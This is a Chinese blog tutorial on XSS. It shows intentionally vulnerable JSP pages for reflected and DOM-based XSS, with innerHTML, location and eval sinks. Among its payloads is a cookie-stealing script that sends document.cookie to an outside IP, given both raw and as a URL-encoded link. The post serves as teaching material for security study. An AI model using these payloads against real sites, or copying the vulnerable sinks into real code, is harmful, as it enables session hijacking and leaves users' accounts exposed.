XSS漏洞

一、反射型XSS

下面两个文件可以直接部署在tomcat的ROOT目录下

s.jsp

<!-- filename is s.jsp -->

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<body>
<form action="r.jsp" method="get">
    <input name="keywords" type="text">
    <button type="submit">search</button>
</form>
</body>
</html>
View Code

r.jsp

<!-- filename is r.jsp -->
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<body>
<%
    String keywords = request.getParameter("keywords");
    if (keywords != null && keywords != "") {
        // keywords value don't save to database, just show it in browser
        out.write("3 search results for \"" + keywords  +  "\" ");
        out.write("<br>");
        out.write("<br>");
        out.write("data 1");
        out.write("<br>");
        out.write("data 2");
        out.write("<br>");
        out.write("data 3");
    }
%>
</body>
</html>
View Code

payload: 

<script>new Image().src="http://120.46.219.162:9999/"+document.cookie</script>

生成的链接:

http://127.0.0.1:8888/r.jsp?keywords=%3Cscript%3Enew+Image%28%29.src%3D%22http%3A%2F%2F120.46.219.162%3A9999%2F%22%2Bdocument.cookie%3C%2Fscript%3E

二、 DOM型XSS

DOM型XSS是一种基于脚本语言对DOM树的操作的XSS。 

DOM型XSS从执行时机看可以分为两种类型,一是客户端加载页面时自动执行的,一是相关事件触发时执行的。
前一种DOM型XSS与反射型XSS相类似,都需要用户提交并在服务器返回新页面时自动执行。
后一种DOM型XSS不需要向服务器发送请求,由页面定义的绑定的相关事件触发。

1、新页面加载时执行的DOM型XSS示例

注意: document.getElementById("x").innerHTML(<script>alert(1)</script>);中的js代码不会执行。因为innerHTML插入文本到网页中有可能存在安全风险问题,所以HTML5中不执行由innerHTML插入的<script>标签里的代码。但输入:<img src="" onerror="alert(1)">,可以成功执行。

d.jsp

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
    <title>XSS_DOM</title>
</head>
<body>
<p id="p">Hello, XSS_DOM</p>
<script>
    var search = document.location.search;
    var params = new URLSearchParams(search);
    var username = params.get('name');
    if (username !== null) {
        document.getElementById("p").innerHTML = 'Hello, ' + username + '!';
    }
</script>
</body>
</html>

payload:


 

 

 

 

 

 

 

 

 

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
    <title>XSS_DOM</title>
</head>
<body>
<p id="p">Hello, XSS_DOM</p>
<script>
    var search = document.location.search;
    var params = new URLSearchParams(search);// Location 漏洞
    // http://127.0.0.1:9999/xss.jsp?url=http://www.baidu.com
    // http://127.0.0.1:9999/xss.jsp?url=javascript:alert(1)
    // 客户端访问上面的路径,浏览器发送请求到服务器,服务器响应html,客户端执行js
    var url = params.get('url');
    if (url !== null) {
        document.location = url;
    }

    // Execution 漏洞
    // 客户端访问 http://127.0.0.1:9999/xss.jsp?x=alert(1),浏览器发送请求到服务器,服务器响应html,客户端执行js
    var x = params.get('x');
    eval(x);

</script>
</body>
</html>

DVWA 里的 DOM 型 XSS 示例,js 执行的时机也是新页面加载的时候,整个流程是:填写页面表单,提交,这个提交是真实的提交到了服务器,然后服务器返回新页面,客户端加载新页面并执行其中的js。

 (2)相关事件触发执行的DOM型XSS示例

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<!--
    input框输入:<img src="" onerror="alert(1)">
  失去焦点事件触发
--> <head> <title>XSS_DOM</title> </head> <body> <input id="x" type="text" onblur="xFun()"> <p id="p">This is a Test.</p> <script> function xFun() { let x = document.getElementById("x").value; if (x != null) { document.getElementById("p").innerHTML = 'Hello, ' + x + '!'; } } </script> </body> </html>

 

posted @ 2023-09-27 10:43  zhuangrunwei  阅读(34)  评论(0编辑  收藏  举报